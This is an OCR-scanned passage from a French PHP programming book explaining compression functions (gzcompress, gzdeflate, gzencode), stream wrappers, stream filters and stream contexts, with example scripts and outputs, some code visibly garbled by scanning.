nl2br($machaine) ; 

if (strpos($_SERVER["HTTP_ACCEPT_ENCODING"], "compress") !== FALSE) { 
$codeHTML .= "<br /><centerxi>" . 

"Cette page a ete compressee par le serveur<br />". 
"et admirablement bien decompressed par votre". 
" navigateur</ix/centerx/bodyx/html>"; 
header("Content-Encoding: compress") ; 
echo gzcompress($codeHTML) ; 
} else { 

$codeHTML .= "<br /xcenterxi>" . 

"Desole, votre navigateur ne supporte pas ce type de compression" 
"<br /> Cette page n'a done pas ete transferee compressee". 
"</ix/centerx/bodyx/html>"; 
echo $codeHTML; 

} 

?> 
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RENVOI 



Vous pouvez vous reporter a Vannexe "Les en-tetes HTTP" et a la section "Mise en 
cache avant emission des donnees pour plus d 'informations" sur I'envoi 
(automatique) de donnees compressees. 



La decompression pourra s'effectuer avec : 

gzuncompressO 

Decompresse des donnees compressees avec la fonction gzcompress ( ) . 

Syntaxe string gzuncompress (string $chaine [, int $1ongueur]) 

$ c h a i n e Chaine contenant les donnees compressees. 

$longueur Longueur maximale des donnees decompressees. La fonction retourne 

FALSE si la taille de la chaine de retour est plus importante. 

retour Retourne la chaine decompressee, ou FALSE si l'instruction rencontre 

une erreur dans le traitement. Si la chaine de retour est 256 fois superieure 
a $ chaine, la fonction renverra FALSE. 
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Avec gzdeflate 

Un autre algorithme de compression peut etre utilise pour compresser les donnees. Deflate est 
un format de compression particulierement bien adapte aux chaines de caracteres. Les 
specifications de ce format peuvent etre trouvees a l'adresse suivante : 
http://www.ielf.org/rfc/rfc1 951 .txt. 

Pour compresser une chaine en utilisant ce format, vous utiliserez l'instruction gzdeflate ( ) . 



gzdeflate () 

Compresse une chaine de caracteres. 

Syntaxe string gzdeflate (string $chaine [, int $facteur]) 

$chai ne Chaine contenant les donnees a compresser. 

$f acteur Indique le niveau de compression entre (pour une compression nulle) et 

9 (pour une compression maximale). Plus le facteur de compression est 
important, plus le traitement est lent. Par defaut, le facteur est de 6 . 

retour Donnees compressees. 

Listing 9.41 : gzcompress.php 

<?php 

$maChaine = "\"Je suis un phenomene, je suis un magicien\n". 

"Un tuyau parcouru d 1 informations majeures\n". 

"Mais y'a pas que des douceurs qui passent a 1 ' interieur\"\n". 

"Noir Desir, Son style\n"; 
$codeHTML = "<html><headxti tle>" . 

"Test de compression avec deflate". 

"</headx/ti tl exbody>" . 

nl2br($machaine) ; 

if (strpos($_SERVER["HTTP_ACCEPT_ENCODING"], "deflate") !== FALSE) { 
$codeHTML .= "<br /><centerxi>" . 

"Cette page a ete compressee par le serveur<br />" . 
"et admirablement bien decompressee par votre". 
" navigateur</ix/centerx/bodyx/html>" ; 
header("Content-Encoding: deflate") ; 
echo gzdeflate($codeHTML) ; 
} else { 

$codeHTML .= "<br /xcenterxi>" . 

"Desole, votre navigateur ne supporte pas ce type de compression". 
"<br /> Cette page n'a done pas ete transferee compressee". 
"</ix/centerx/bodyx/html>"; 
echo $codeHTML; 

} 
?> 
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Une chaine compressee avec gzdef late ( ) pourra etre restituee par : 



gzinflate() 



Decompresse les donnees compressees avec la fonction gzdef late ( ) . 

Syntaxe string gzinfl ate (string $chaine [, int $longueur]) 

$ c h a i n e Chaine contenant les donnees compressees. 

$longueur Longueur maximale des donnees decompressees. La fonction retourne 

FALSE si la taille de la chaine de retour est plus importante. 

retour Retourne la chaine decompressee, ou FALSE si l'instruction rencontre 

une erreur dans le traitement. Si la chaine de retour est 256 fois superieure 
a $ chaine, la fonction renverra FALSE. 
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Avecgzencode 

Pour compresser une chaine dans un format compatible avec Gzip, vous devrez utiliser la 
fonction gzencode ( ) . 



gzencodeQ 



Compresse une chaine en utilisant le meme format de compression que la commande gzip. 

Syntaxe string gzencode(string $chaine [, int $facteur [, int 

$modeEncodage]] ) 

$chai ne Chaine contenant les donnees a compresser. 

$f acteur Indique le niveau de compression entre (pour une compression nulle) et 

9 (pour une compression maximale). Plus le f acteur de compression est 
important, plus le traitement est lent. Par defaut, le facteur est de 6. 

$modeEncodage Auchoix: 

FORCE_DEFLATE si la compression doit inclure les en-tetes de la Zlib. 
F0RCE_GZIP (par defaut) sinon. 

retour Donnees compressees. 



Listing 9.42 : gzencode.php 

<?php 

$maChaine = "V'Je suis un phenomene, je suis un magicien\n". 

"Un tuyau parcouru d ' informations majeures\n". 

"Mais y'a pas que des douceurs qui passent a 1 ' interieur\"\n". 

"Noir Desir, Son style\n"; 
$codeHTML = "<html><headxti tle>" . 
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"Test de compression avec gzip". 
"</headx/ti tl exbody>" . 
nl2br($machaine) ; 

if (strpos($_SERVER["HTTP_ACCEPT_ENCODING"], "gzip") !== FALSE) { 
$codeHTML .= "<br /><centerxi>" . 

"Cette page a ete compressee par le serveur<br />". 
"et admirablement bien decompressed par votre". 
" navigateur</ix/center></bodyx/html>"; 
header("Content-Encoding: gzip") ; 
echo gzencode($codeHTML) ; 
} else { 

$codeHTML .= "<br /xcenterxi>" . 

"Desole, votre navigateur ne supporte pas ce type de compression". 
"<br /> Cette page n'a done pas ete transferee compressee". 
"</ix/centerx/bodyx/html>" ; 
echo $codeHTML; 

} 

?> 

Un fichier est a present sur le disque, dans le repertoire courant. Vous pouvez visualiser son 
contenu (si vous avez acces a la console de la machine) en utilisant soit directement zcat 
debian. txt . gz soit avec gzip -d debian. txt . gz suivi de more debian.txt. Vous 
constatez alors que vous retrouvez bel et bien votre fichier original. 

II n'existe toutefois pas de fonction permettant de decompresser directement une telle chaine 
de caracteres ; vous devez done l'utiliser directement dans une commande reclamant une 
chaine compressee ou la stocker dans un fichier pour une utilisation ulterieure (decompression 
et lecture avec les fonctions decrites tout au long de ce chapitre). 

Cependant, il est tout de meme possible de s'en sortir grace a la fonction gzinf late ( ) , en 
prenant soin toutefois de supprimer les dix premiers caracteres de la chaine compressee. 

$chaine = gzinflate(substr($chaineCompressee,10)) ; 

Checksum 

II est tres simple de calculer un checksum base sur le md5 d'un fichier grace a la fonction 

md5_file(). 



md5_file() 



Permet de calculer le md5 d'un fichier (chaine hexadecimale de 32 caracteres). 

Syntaxe string md5_file(string $nomFichier) 

$nomFichier Fichier texte dont on veut calculer le md5 . 

retour md5 du fichier. 
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9.3. Les streams ou les flux 



Les streams ont ete introduit avec la version 4.3 de PHP. L'idee est de generaliser ou plutot de 
s'absoudre de l'objet qui doit etre atteint (systeme de fichier, fichiers compresses, sockets, 
connexions ftp ou http, etc.). Ces fonctions se comportent done comme une interface 
commune permettant d'acceder, via un protocole defini, aux donnees qui doivent etre traitees. 



Installation 

II n'y a aucune manipulation particuliere a effectuer pour utiliser les streams. En effet, ces 
fonctions sont directement utilisables depuis PHP 4.3 et superieur. 
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Les gestionnaires disponibles 



Les gestionnaires sont des pilotes permettant de lire un flux de donnees en utilisant un 
protocole donne. S'il est possible d'ajouter des gestionnaires a l'aide de fonctions que Ton verra 
dans la suite de ce chapitre, plusieurs sont disponibles des l'installation de PHP. 

II est possible de lister ces differents gestionnaires a l'aide de la fonction 

stream_get_wrappers ( ) . 



stream_get_wrappers () 

Permet de recuperer, dans un tableau, la liste des gestionnaires disponibles. 

Syntaxe array stream_get_wrappers(void) 

retour Tableau indexe comprenant la liste de tous les gestionnaires disponibles 

surle systeme. 

<?php 

print_r(stream_get_wrappers()) ; 
?> 

Le programme ci-dessus donne le resultat suivant : 

Array 

( 

[0]=>php 

[1] => file 

[2] => http 

[3] => ftp 

[4] => compress. zlib 

) 
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Chapitre 9 La gestion des fichiers et des repertoires 



Tableau 9.4 : Liste des divers protocoles supportes 



Nom du Description 

gestionnaire 



php Permet I'usage des entrees/sorties. Par exemple php : / /output permet 

simplement de remplacer la fonction print ( ) et affiche des donnees. 

file Gestionnaire par defaut lors de I'utilisation des fonctions f open ( ) , fwrite ( ) , 

etc. Ce protocole permet d'acceder au systeme de fichiers. 

http Gestionnaire permettant d'acceder aux donnees se trouvant sur un serveur web via 

le protocole http. 

ftp Gestionnaire permettant d'acceder aux donnees disponibles sur un serveur FTP. 

compress.zlib Gestionnaire permettant d'acceder aux donnees compressees via la librairie zlib. 
Remplace done les fonctions gzopen ( ) , gzciose ( ) , etc. en permettant 
I'usage des fonctions de lecture de fichiers f open ( ) , f read ( ) , etc. 

Si le support SSL a ete active alors vous aurez egalement le support des protocoles https et ftps. 

Le gestionnaire file 

Le gestionnaire file est optionnel. En effet, lorsqu'il n'est pas specifie, e'est e'est celui-ci qui est 
utilise par defaut. 

<?php 

$fp = fopen("file:///tmp/file.txt","w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, "Exemple de creation d'un fichier a l'aide du gestionnaire file"); 
fclose($fp); 

readf i 1 e ( " f i 1 e : ///tmp/f i 1 e . txt " ) ; 
?> 

L'exemple precedent cree un fichier dans le repertoire /tmp (sous UNIX/Linux, indiquer 
C:\\chemin pour un systeme Windows) et lit celui-ci ensuite pour l'afficher a l'ecran. 

Le gestionnaire http:// 

La lecture des fichiers a distance est utilisable simplement en indiquant l'url du fichier. 

<?php 

SptFlux = fopen("http://www.php.net", "r"); 
while ($ligne=fread($ptFlux, 8192)) { 
print ($1 igne) ; 

} 

fclose($ptFlux) ; 
?> 

Pour passer une authentification il faut indiquer l'identifiant et le mot de passe de la iaqon 
suivante : 
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<?php 

$ptFlux = fopen("http://identifiant:motdepasse@www. php.net", "r"); 
while ($ligne=fread($ptFlux, 8192)) { 
print ($1 igne) ; 

} 

fclose($ptFlux) ; 
?> 



Le gestionnaire FTP 

La lecture des fichiers en utilisant le protocole FTP se fait en indiquant l'url du fichier de la 
facon suivante : 

<?php 

$fp = fopen("ftp://identifi ant :motdepasse@ftp.ouvaton. org/html /test. txt","w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, "Exemple de creation d'un fichier a l'aide du gestionnaire file"); 
fclose($fp); 

readfile("ftp://identifi ant :motdepasse@f tp.ouvaton.org/html /test. txt") ; 
?> 

Notez qu'il est done possible d'accedez en ecriture sur un serveur FTP ce qui peut-etre tres 
pratique pour creer des fichiers a distance. 
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Le gestionnaire compress.zlib 

Remplacer avantageusement l'utilisation des fonctions gzread, gzopen, gzcloseOen 
utilisant le wrapper compress.zlib. En specifiant ce gestionnaire, cela permet l'usage des 
fonctions d'acces aux fichiers classiques : f open ( ) , f read ( ) , fwrite ( ) , f close ( ) . 

<?php 

// Creation du fichier compresse gzip.filtre.txt 

$fp = fopen("compress.zlib://gzip.filtre.txt","w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, "Michael Moore :\n"); 
fwrite($fp, "Fahrenheit 9/11 (2003)\n"); 
fwrite($fp, "Bowling for Columbine (2002)\n M ); 
fwrite($fp, "Last party 2000 (2001)\n"); 
fwrite($fp, "Le Bon numero (Lucky numbers) (2000) \n"); 
fwrite($fp, "The Big One (1998)\n M ); 
fwrite($fp, "Canadian bacon (1995)\n"); 
fwrite($fp, "Roger et moi (Roger and me) (1989)"); 
fclose($fp); 



// Affichage du fichier decompresse 
readf i 1 e ( "compress . zl i b : //gzi p . f i 1 tre . txt " 
?> 
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Ce qui affiche le resultat suivant : 

Michael Moore : 

Fahrenheit 9/11 (2003) 

Bowling for Columbine (2002) 

Last party 2000 (2001) 

Le Bon numero (Lucky numbers) (2000) 

The Big One (1998) 

Canadian bacon (1995) 

Roger et moi (Roger and me) (1989) 

Le gestionnaire PHP 

Voici divers exemple d'utilisation du protocole PHP 

Dans un premier temps voici comment utiliser f open ( ) pour ecrire dans le buffer de sortie. Le 
resultat est identique a l'appel d'une fonction print ( ) . 

<?php 

SptFlux = fopen("php://output", "w"); 

fwrite($ptFlux, "Voici un premier message\n"); 

fwrite($ptFlux, "Voici un deuxieme message"); 

fclose($ptFlux) ; 

?> 

II est simple de recuperer les donnees envoyees via un formulaire de type POST. Voici un 
exemple implementant une methode alternative a la (classique) variable $_post. 

<form method="post"> 

<input type="text" name="a" value="" /> 

<br /> 

<input type="radio" name="b" value="0" id="i_bO" /> 

<label for="i_bO">0</label> 

<input type="radio" name="b" value="l" id="i_bl" /> 

<label for="i_bl">l</label> 

<br /> 

<input type="checkbox" name="c" value="coche" /> 

<br /> 

<input type="submit" name="d" value="envoyer" /> 

</form> 

<?php 

$request = file_get_contents("php://input") ; 

echo $request; 

?> 

Le resultat est une chaine de caracteres du type 
a=test&b=l&c=coche&d=envoyer 
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Les filtres 

Le gestionnaire php : / / offre des possibilites particulierement interessantes qui permettent 
d'effectuer des traitements elementaires aux donnees lues, au travers d'un flux, au fur et a 
mesure de leur disponibilite. II s'agit en quelque sorte de filtrer les donnees. 

Ce peut etre le seul recours pour une fonction comme readf ile ( ) et peux permettre d'eviter 
un traitement a posteriori avec f ile_get_contents ( ) ou file ( ) 

La liste des filtres disponibles est donnee par la fonction stream_get_f iiters ( ) . 



stream_get_filters () 

Retourne la liste des filtres disponibles sous la forme d'un tableau indexe. 

Syntaxe : array stream_get_fi Iters (void) 

retour Tableau indexe contenant la liste des filtres disponibles. 

Utilisez simplement ce script pour voir quels sont les filtres que vous pouvez utiliser. 

<?php 

print_r(stream_get_fil ters()) ; 

?> 

Vous devriez observer un resultat de ce type : 

Array 

( 

[0] => convert.iconv.* 
[1] => string.rotl3 
[2] => string.toupper 
[3] => string.tolower 
[4] => string.strip_tags 
[5] => convert.* 
[6] => zlib.* 

) 

Tableau 9.5 : Les filtres utilisables par defaut avec le gestionnaire php://filter 
Filtres Descriptions 

convert.iconv.* Change I'encodage de la chaine de caracteres. 

string. rotl 3 Effectue un encodage R0T13 a la chaine de caracteres. L'encodage 

R0T13 decale les caracteres de 13 dans I'alphabet. Exemple : a devient 
n, b devient o, c devient p. 

string.toupper Retourne la chaine en majuscule. 

string.tolower Retourne la chaine en minuscule. 
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Filtres 



Descriptions 



string. stripjags 



Filtre les tags de formatage HTML. 



zlib. 



convert.base64-* 



convertquoted-printable- 



Utilise les fonctions de la zlib pour compresser ou decompresser les 
donnees a la volee. 

convert.base64-encode permet d'encoder en base64. convert.base64- 
decode permet de decoder une chafne de caracteres encodee en 
base64. 

convert.quoted-printable-encode permet de convertir une chaine dans le 
format 'quoted-printable'. Le format 'quoted-printable' est souvent 
utilise dans le corps des mail ou dans le posts de newsgroup, 
convert.quoted-printable-decode permet de decoder une chaine au 
format 'quoted-printable'. 



Pour utiliser ces filtres vous devez suivre la syntaxe suivante: 



php://filter/ 



Applique un filtre en lecture ou ecriture du fichier 

Syntaxe : php : //f i 1 ter/ [read=$f i 1 treLecture | wri te=$f i 1 treEcri ture] 

/resource=$ressource 

$f i 1 treLecture Parametre optionnel indiquant le filtre a appliquer lors de la lecture. 

$f i 1 treEcri ture Parametre optionnel indiquant le filtre a appliquer lors de l'ecriture. 

$ressource Ressource du flux a filtrer, cela peut-etre un simple nom de fichier ou une 

ressource s'appuyant sur les protocoles http://, ftp://, 
compress .zlib: //, etc.. 

Exemple d'utilisation du gestionnaire php avec le parametre filter. 

<?php 

// Recupere la page d'accueil de php.net 

// Renvoie le contenu dans la chaTne $contenu en appliquant 

// un filtre qui retourne tous les caracteres en majuscule. 

$contenu = 

x file_get_contents("php://filter/read=string.toupper/resource=http://php.net") ; 

// Creation du fichier compresse php. net. gz avec le contenu 

// recupere precedemment 

$fp = fopen( "compress. zl ib://php.net.gz","w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, $contenu); 
fclose($fp); 

// Affichage du fichier decompressed avec application d'un filtre 
// retournant tous les caracteres en majuscules 
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readfile("php://fil ter/read=string.tolower/resource=compress.zlib://php.net.gz") ; 
?> 

II est possible d'associer un filtre a un flux de facon a ce que le filtre en question soit utilise pour 
chaque operation effectuee sur ce flux. On peut utiliser pour cela les fonctions 

stream_f ilter_append( ) OU stream_f ilter_prepend( ) . Dans le premier Cas, le filtre est 

rattache a la suite des filtres deja attribues au flux. La seconde fonction permet de specifier un 
filtre qui sera place en tete de liste des filtres a utiliser. Les filtres en haut de la liste etant utilises 
en premier. 
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stream_filter_append () 



Attribue un filtre a un flux passe en parametre. II est place en queue de liste des filtres deja 
attaches au flux. 

Syntaxe : bool stream_filter_append(ressource $flux, string $filtre [, 

int $comportement[, mixed $parametre]] ) 

$f 1 ux Ressource vers la flux retournee par f open ( ) ou f sockopen ( ) . 

$filtre Filtre a utiliser. 

$comportement Dans le cas ou le flux a ete ouvert en mode lecture et ecriture, ce parametre 

permet de fixer si le filtre doit s'appliquer en lecture, en ecriture ou dans les 
deux cas. 

STREAM_FILTER_READ : Appliquer le filtre uniquement en lecture. 
STREAM_FILTER_WRITE : Appliquer le filtre uniquement en ecriture. 
STREAM_FILTER_ALL : Appliquer le filtre dans tous les cas. 

$parametre Parametres optionnels pouvant etre necessaires a l'utilisation du filtre 

$filtre. 

retour Retourne TRUE si le filtre a bien ete rattache au flux et FALSE dans le cas 

contraire. 



stream_filter_prepend () 



Attribue un filtre a un flux passe en parametre. II est place en tete de la liste des filtres deja 
attaches au flux. 

Syntaxe: bool stream_filter_prepend (ressource $flux, string $filtre [, 

int $comportement [, mixed $parametre]]) 

$f 1 ux Ressource vers la flux retournee par f open ( ) ou f sockopen ( ) . 

$filtre Filtre a utiliser. 

$comportement Dans le cas ou le flux a ete ouvert en mode lecture et ecriture, ce parametre 

permet de fixer si le filtre doit s'appliquer en lecture, en ecriture ou dans les 
deux cas. 
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STREAM_FILTER_READ : Appliquer le filtre uniquement en lecture. 
STREAM_FILTER_WRITE : Appliquer le filtre uniquement en ecriture. 
STREAM_FILTER_ALL : Appliquer le filtre dans tous les cas. 

$parametre Parametres optionnels pouvant etre necessaires a l'utilisation du filtre 

$filtre. 

retour Retourne TRUE si le filtre a bien ete rattache au flux et FALSE dans le cas 

contraire. 

<?php 

// Ouverture d'un fichier en lecture et ecriture 

$fp = fopen("bible.txt", "w+"); 

// On attache le filtre R0T13 uniquement en ecriture 
stream_filter_append($fp, "string. rotl3", STREAM_FILTER_WRITE) ; 

// On attache au flux, le filtre string. toupper 
stream_f i 1 ter_append ($f p, " stri ng . toupper" , STREAM_FI LTER_WRITE) ; 
// On attache au flux, le filtre string. tolower en fin de liste 
// Par consequent le filtre string. toupper n'aura aucun effet 
stream_f i 1 ter_append ($f p, "stri ng . tol ower" , STREAM_FI LTER_WRITE) ; 

// Ecriture de donnees dans le fichier 

fwrite($fp, "Damien HEUTE\n"); 

fwrite($fp, "Thomas HEUTE\n"); 

fwrite($fp, "Laurent GUEDONV); 

fwrite($fp, "Pierre-Emmanuel MULLER\n"); 

rewind($fp) ; 

// Lecture du fichier 

while ($ligne=fread($fp, 1024) ) { 

echo ($ligne); 
} 

fclose($fp); 
?> 

On obtient le resultat suivant : 

qnzvra urhgr 
gubznf urhgr 
ynherag thrqba 
cvreer-rzznahry zhyyre 

Si on modifie le code en specifiant le filtre string . tolower en debut de liste comme ceci : 

<?php 

// Ouverture d'un fichier en lecture et ecriture 

$fp = fopen("bible.txt", "w+"); 

// On attache le filtre R0T13 uniquement en ecriture 
stream_filter_append($fp, "string.rotl3", STREAM_FILTER_WRITE) ; 
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// On attache au flux, le filtre string. toupper 

stream_f i 1 ter_append ($f p , " stri ng . toupper" , STREAM_FI LTER_WRITE) ; 

// On attache au flux, le filtre string. tolower en debut de liste 

// Par consequent ce filtre n'aura aucun effet (ecrase par string. toupper) 

stream_f i 1 ter_prepend ($f p , "stri ng . tol ower" , STREAM_FI LTER_WRITE) ; 

// Ecriture de donnees dans le fichier 

fwrite($fp, "Damien HEUTE\n"); 

fwrite($fp, "Thomas HEUTE\n"); 

fwrite($fp, "Laurent GUEDONV); 

fwrite($fp, "Pierre-Emmanuel MULLER\n"); 

rewind ($fp) ; 

// Lecture du fichier 

while ($ligne=fread($fp, 1024) ) { 

echo ($ligne); 
} 

fclose($fp); 
?> 

On obtient alors : 

QNZVRA URHGR 
GUBZNF URHGR 
YNHERAG THRQBA 
CVREER-RZZNAHRY ZHYYRE 

Modifions encore notre scripte en modifiant le comportement du filtre string. roti3 en 

STREAM_FILTER_ALL. 

Cette fois la lecture du scripte utilise le filtre ROT13, ainsi le resultat de son execution est le 
suivant : 

DAMIEN HEUTE 
THOMAS HEUTE 
LAURENT GUEDON 
PIERRE-EMMANUEL MULLER 



Contexte de ressource 

Vous pouvez specifier un contexte lors de l'appel a une ressource. Par exemple vous pouvez 
passer des parametres a une URL. Pour cela, il est possible d'enregistrer votre contexte a l'aide 

de la fonction stream context create () . 
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stream_context_create () 

Enregistre un contexte de flux utilise ensuite lors de l'appel aux fonctions file(), 

f ile_get_contents ( ) ou f open ( ) . 

Syntaxe : ressource stream_context_create( [array $contexte]) 

$contexte Tableau optionnel fournissant les contextes. De la forme 

$tableau [gestionnaire] [option] = valeur. 

retour Retourne une ressource a passer en parametre des fonctions file ( ) , 

f ile_get_contents ( ) ou f open ( ) . 

Exemple illustrant l'utilisation de stream_context_create ( ) : 
<?php 

Spostdata = "auteurl=Laurent%20GUED0N&" . 
"auteur2=Dami en%20HEUTE&" . 
"auteur3=Pierre%20Emmanuel%20MULLER&". 
"auteur4=Thomas%20HEUTE\n" ; 

$header = "User-Agent: Bible Browser V0.3\n". 
"Referer:http://www.monsite.com\n". 
"Content-Length:" .strlen($postdata) . "\n". 
"Content-Type: appl ication/x-www-form-urlencoded\n\n" . 
$postdata; 

$contexte = array( 
'http'=>array ( 

'method' => 'POST', 
'header' => $header 
) 



$fc = stream_context_create($contexte) ; 

$fp = fopen( 'http://localhost/bible/recup.php' , 'r', false, $fc); 

fpassthru($fp) ; 

fclose($fp); 

?> 

Ce script appelle une page recup . php decrite ci-dessous : 

<?php 

echo "Les variables postees : \n"; 

print_r($_POST); 

echo "\n \n"; 

echo "Provenance: " .$_SERVER["HTTP_REFERER"] . "\n" ; 

echo "Type de contenu:" .$_SERVER["CONTENT_TYPE"] ; 
?> 
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L'execution du script donne le resultat suivant 

Les variables postees : 
Array 

( 

[auteurl] => Laurent GUEDON 

[auteur2] => Damien HEUTE 

[auteur3] => Pierre Emmanuel MULLER 

[auteur4] => Thomas HEUTE 
) 



Provenance : http : //www.monsi te . com 

Type de contenu:application/x-www-form-url encoded 

On peut imaginer facilement les multiples usages qui en decoulent. 

Pour ne pas avoir a specifier la ressource de contexte dans les fonctions file(), 
f iie_get_contents ( ) ou f open ( ) vous pouvez utiliser la fonction 

stream_context_get_default ( ) . 







CO 




^*» 










-^ 


o 


I - 


CD< 


^S" 


n> 


CD 


S' 


ca 

CD 


^i 


CO 


CO 


o_ 


CD 








o 


CD 


a. 


= 


CO 


CD 


a. 




CO 


CD 
CO 



stream_context_get_default () 



Specif ie les options de contexte par defaut lors des appels aux fonctions fiie(), 

f ile_get_contents ( ) OU fopen() . 

Syntaxe : ressource stream_context_get_default( [array $contexte]) 

$contexte Tableau optionnel fournissant les contextes. De la forme 

$tableau [gestionnaire] [option] = valeur. 

retour Retourne une ressource pouvant etre passee en parametre des fonctions 

f ile ( ) , f ile_get_contents ( ) ou f open ( ) . 

<?php 

Spostdata = "auteurl=Laurent%20GUED0N&" . 

"auteur2=Dami en%20HEUTE&" . 

"auteur3=Pierre%20Emmanuel%20MULLER&". 

"auteur4=Thomas%20HEUTE\n" ; 

$header = "User-Agent: Bible Browser V0.3\n". 
" Referer: http: //www. monsite.com\n". 
"Con tent- Length: " .strlen($postdata) ."\n". 
"Content-Type: appl ication/x-www-form-urlencoded\n\n" . 
$postdata; 



$contexte = array( 
'http'=>array ( 

'method' => 'POST', 
'header' => $header 
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) 
); 

$fc = stream_context_get_defaul t($contexte) ; 

$fp = fopen( 'http://localhost/bible/recup.php' , 'r'); 

fpassthru($fp) ; 

fclose($fp); 

?> 

Le resultat est identique a l'exemple precedent : 

Les variables postees : 
Array 

( 

[auteurl] => Laurent GUEDON 

[auteur2] => Damien HEUTE 

[auteur3] => Pierre Emmanuel MULLER 

[auteur4] => Thomas HEUTE 
) 

Provenance: http://www.mons ite.com 

Type de contenu:application/x-www-form-url encoded 

Autre solution, utiliser la fonction stream_context_set_option ( ) .Cette fonction permet de 
fixer une option de contexte apres l'appel a la fonction stream_context_create ( ) . 



stream_context_set_option () 



Fixe une option de contexte a la ressource de flux passee en parametre fileO, 
f ile_get_contents ( ) ou f open ( ) . 

Syntaxe: bool stream_context_set_opti on (ressource $contexte, string 

$gestionnaire, string $option, mixed $valeur) 

$contexte Ressource du contexte creee a l'aide de la fonction 

stream_context_create ( ) . 

$gesti onnai re Identifiant du gestionnaire affecte. 

$ o p t i o n Option du gestionnaire modifiee 

$ v a 1 e u r Nouvelle valeur de l'option 

retour Retourne TRUE si l'operation a ete effectuee avec succes et FALSE dans le 

cas contraire. 

<?php 

$postdata = "auteurl=Laurent%20GUED0N&". 
"auteur2=Dami en%20HEUTE&" . 
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"auteur3=Pierre%20Emmanuel%20MULLER&". 
"auteur4=Thomas%20HEUTE\n" ; 

$header = "User-Agent: Bible Browser V0.3\n". 
"Referer:http://www.monsite.com\n". 
"Con tent- Length: " .strlen($postdata) . "\n". 
"Content-Type: appl ication/x-www-form-urlencoded\n\n" . 
$postdata; 

$fc = stream_context_create() ; 

stream_context_set_option($fc, ' http ' , 'method 1 , 'POST'); 
stream_context_set_option($fc, 'http', 'header', $header) ; 

$fp = fopen('http://localhost/bible/recup.php' , 'r', false, $fc); 

fpassthru($fp) ; 

fclose($fp); 

?> 

On obtient la meme chose que precedemment, c'est a dire : 

Les variables postees : 
Array 

( 

[auteurl] => Laurent GUEDON 

[auteur2] => Damien HEUTE 

[auteur3] => Pierre Emmanuel MULLER 

[auteur4] => Thomas HEUTE 
) 



Provenance : http : //www.monsi te . com 

Type de contenu: appl ication/x-www-form-url encoded 

A tout moment, nous pouvons recuperer les informations de contexte, simplement en utilisant 
la fonction stream_context_get_options ( ) . 
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stream_context_get_options () 



Retourne les options de contexte dans un tableau associatif. 

Syntaxe : array stream_context_get_options(ressource $contexte) 

$contexte Ressource du contexte creee a l'aide de la fonction 

stream_context_create ( ) . 

retour Tableau associatif contenant les informations de contexte. 
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<?php 

$postdata = "auteurl=Laurent%20GUED0N&" . 

"auteur2=Dami en%20HEUTE&" . 

"auteur3=Pierre%20Emmanuel%20MULLER&". 

"auteur4=Thomas%20HEUTE\n" ; 

$header = "User-Agent: Bible Browser V0.3\n". 
"Referer:http://www.monsite.com\n". 
"Content-Length:" .strlen($postdata) . "\n". 
"Content-Type: appl ication/x-www-form-urlencoded\n\n" . 
$postdata; 

$fc = stream_context_create() ; 

echo "Options de contexte \n"; 

pri nt_r (stream_context_get_opti ons ($fc) ) ; 

stream_context_set_option($fc, ' http ' , 'method 1 , 'POST'); 
stream_context_set_option($fc, 'http', 'header', $header) ; 
echo "\nOptions de contexte, une fois modifiees \n"; 
pri nt_r (stream_context_get_opti ons ($f c) ) ; 
?> 

Voici le resultat de ce script : 

Options de contexte 

Array 

( 

) 

Options de contexte, une fois modifiees 
Array 

( 

[http] => Array 

( 

[method] => POST 

[header] => User-Agent: Bible Browser V0.3 
Ref erer : http : //www.monsi te . com 
Content-Length: 106 
Content-Type: appl ication/x-www-form-url encoded 

auteurl=Laurent%20GUED0N&auteur2=Damien%20HEUTE&auteur3=Pierre%20Emmanuel%20 
s< MULLER&auteur4=Thomas20HEUTE 
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Travailler avec les flux 

Copier d'une ressource a une autre 

La fonction stream_copy_to_stream ( ) permet de copier le contenu pointe par une ressource 
de flux vers une autre ressource. Meme si les gestionnaires utilises par les deux flux sont 
differents. 
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stream_copy_to_stream () 

Copie les donnees d'un flux vers un autre. 



Syntaxe : int stream_copy_to_stream(ressource $source, ressource 

$desti nation [, int $taille]) 

$ s o u r c e Ressource du flux source . 

$destination Ressource du flux destination 

$tai 1 1 e Taille en octet des donnees a copier. Par defaut toutes les donnees seront 

integralement copiees. 

retour Retourne le nombre d'octet ayant ete copie si l'operation a ete effectuee 

avec succes et FALSE dans le cas contraire. 

<?php 

$src = fopen( 'http://www.php.net ' , 'r'); 

$dest = fopen('ftp://laurent:motdepasse@ftp. serveur.org/php. net. html ' , '*'); 

$nboct = stream_copy_to_stream($src, $dest); 

echo $nboct." octets ont ete copies sur le serveur\n"; 

?> 

34775 octets ont ete copies sur le serveur 

Recuperer le contenu d'un flux 
Recuperer l'ensemble 

On peut egalement avoir besoin de recuperer le contenu d'un flux dans une chaine. La fonction 
stream_get_contents ( ) permet de recuperer le reste d'un contenu d'un flux. 



stream_get_contents () 



Recupere le reste du contenu d'un flux dans une chaine. 

Syntaxe: string stream_get_contents (ressource $flux [, int $taille]) 

$f 1 ux Ressource du flux que Ton considere. 
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$tai 1 1 e Taille en octet des donnees a recuperer. Par defaut toutes les donnees 

seront integralement retournees. 

retour Chaine de caractere. 

L'exemple suivant retourne le fichier index du site Php.net comme le ferait la fonction 

readf ile ( ) . 

<?php 

$flux = fopen( ' http://www.php.net ' , 'r'); 

$content = stream_get_contents($flux) ; 

echo $content; 

?> 



Recuperer une ligne 



On peut egalement lire les lignes les unes a la suite des autres. On utilise pour cela la fonction 

stream_get_line ( ) . 



stream_get_line() 

Recupere une ligne de donnee dans un flux. 

Syntaxe : string stream_get_line (ressource $flux, int $taille, string 

$fin) 

$ f 1 ux Ressource du flux que Ton considere. 

$ t a i 1 1 e Taille en octet de la ligne a recuperer. La lecture se termine lorsque $taille 

octets ont ete lus ou lorsque la fin de la ligne fixee par le parametre $fin a 
ete rencontree. 

$f i n Chaine de caractere representant la fin d'une ligne (exemple : \n). 

retour Chaine de caractere. 

L'exemple ci-dessous permet de recuperer uniquement l'entete HTML du document present 
en index du site php . net. 

<?php 

$flux = fopen( ' http://www.php.net ' , 'r'); 

$1 igne = stream_get_l ine($flux, 4048, "</head>"); 

echo $ligne; 

?> 

Informations sur une ressource 

Une fois la ressource ouverte, il peut-etre interessant de recuperer des informations sur celle-ci. 
La fonction stream_get_meta_data ( ) permet de retrouver bon nombre d'informations sur la 
ressource de flux. 
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stream_get_meta_data () 

